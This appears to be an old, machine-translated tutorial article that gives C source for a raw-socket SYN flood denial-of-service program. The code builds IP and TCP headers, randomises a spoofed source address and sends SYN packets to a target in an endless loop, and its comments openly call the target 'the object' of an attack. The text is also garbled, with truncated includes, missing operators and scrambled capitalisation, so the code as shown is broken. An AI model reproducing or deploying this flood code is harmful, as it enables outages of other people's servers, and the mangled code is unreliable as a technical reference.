C source code: a raw socket instance This article comes from: Author: (2001-08-22 16:37:42)
Remember what DOS mean? Here we will write a small program that implements DOS. Below is the source code of the program / ****************** DOS .c ************************** / #include
/ ******* Our packets do not have any content, so the length is the length of the two structures *** / Head_len = SizeOf (Struct TCPHDR); Bzero (Buffer, 100) ; / ******** Fill the head of the IP packet, remember the IP's head format? ****** / ip = (struct ip *) Buffer; ip-> ip_v = ipversion; / ** version is generally 4 ** / ip-> ip_hl = sizeof (struct ip) >> 2; / ** IP packet head length ** / ip-> ip_tos = 0; / ** Service type * * / Ip-> ip_len = htons (head_len); / ** IP packet length ** / ip-> ip_id = 0; / ** Let the system fill in ** / ip-> ip_off = 0; / * *, The same, the saving time ** / ip-> ip_ttl = maxttl; / ** longest time 255 ** / ip-> ip_p = ipproto_tcp; / ** We have to send TCP package ** / IP -> ip_sum = 0; / ** Check and let the system do ** / ip-> ip_dst = addr-> sin_addr; / ** We attack the object ** / / ****** Start to fill in the TCP Packet ***** / TCP = (struct tcphdr *); tcp-> source = htons (localport); tcp-> dest = addr-> sin_port; / ** destination port ** / TCP-> SEQ = random (); TCP-> ACK_SEQ = 0; TCP-> DOFF = 5; TCP-> SYN = 1; / ** I want to establish a connection ** / tcp-> check = 0; / ** is good, everything is ready. Server, you are ready ?? ^ _ ^ ** / while (1) {/ ** You don't know if I am from there, slowly go, etc. Let's! ** / ip-> ip_src.s_addr = random (); / ** Everything makes the system, and doesn't mean, let us check the head. * / / ** Can have no * / tcp-> check = check_sum Unsigned short *) TCP, SIZEOF (STRUCT TCPHDR)); Sendto (Sockfd, Buffer, Head_len, 0, Addr, SIZEOF (Struct Sizeaddr_in));}} / * The following is the first checksum, stealing others * / Unsigned short check_sum (unsigned short * addr, int LEN) {register int NLEFT = LEN; register int sum = 0; register short * w = addr; short answer = 0; while (NLEFT> 1) {SUM = * W ; NLEFT- = 2;} if (NLEFT == 1) {* (unsigned char *) = * (unsigned char *) W; SUM = Answer;} Sum = (SUM >> 16) (SUM & 0xFFFF); SUM = (SUM >> 16); Answer = ~ SUM;